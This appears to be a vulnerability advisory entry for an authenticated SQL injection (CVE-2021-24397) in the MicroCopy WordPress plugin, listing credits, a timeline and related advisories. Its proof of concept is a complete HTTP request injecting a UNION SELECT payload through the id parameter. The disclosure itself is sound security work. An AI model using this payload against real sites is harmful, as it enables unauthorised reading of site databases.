MicroCopy <= 1.1.0 – Authenticated SQL Injection | CVE 2021-24397 | Plugin Vulnerabilities

Description

The edit functionality in the plugin makes a get request to fetch the related option. The id parameter used is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

GET /wp-admin/admin.php?page=microcopy%2Fdetail.php&action=edit&id=-5617%20UNION%20ALL%20SELECT%201,2,user(),3 HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]
Connection: close

Affects Plugins

No known fix

References

CVE

URL

https://codevigilant.com/disclosure/2021/wp-plugin-microcopy/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Syed Sheeraz Ali of Codevigilant

Verified

Yes

WPVDB ID

2edab2b0-d4fd-4d50-aca0-2a1b7b37c23d

Timeline

Publicly Published

2021-08-22 (about 4 years ago)

Added

2021-08-23 (about 4 years ago)

Last Updated

2022-04-09 (about 3 years ago)

Other

Published

Title

Published

2021-10-25

Title

Duplicate Post < 1.2.0 - Authenticated SQL Injection

Published

2023-12-21

Title

Automation By Autonami < 2.7.0 - Authenticated(Administrator+) SQL Injection

Published

2025-07-08

Title

Premium SEO Pack <= 3.3.2 - Authenticated (Subscriber+) SQL Injection

Published

2021-09-16

Title

Buddyboss Platform < 1.7.9 - Subscriber+ SQL Injection

Published

2023-12-28

Title

GEO my WordPress < 4.0.3 - Authenticated(Administrator+) SQL Injection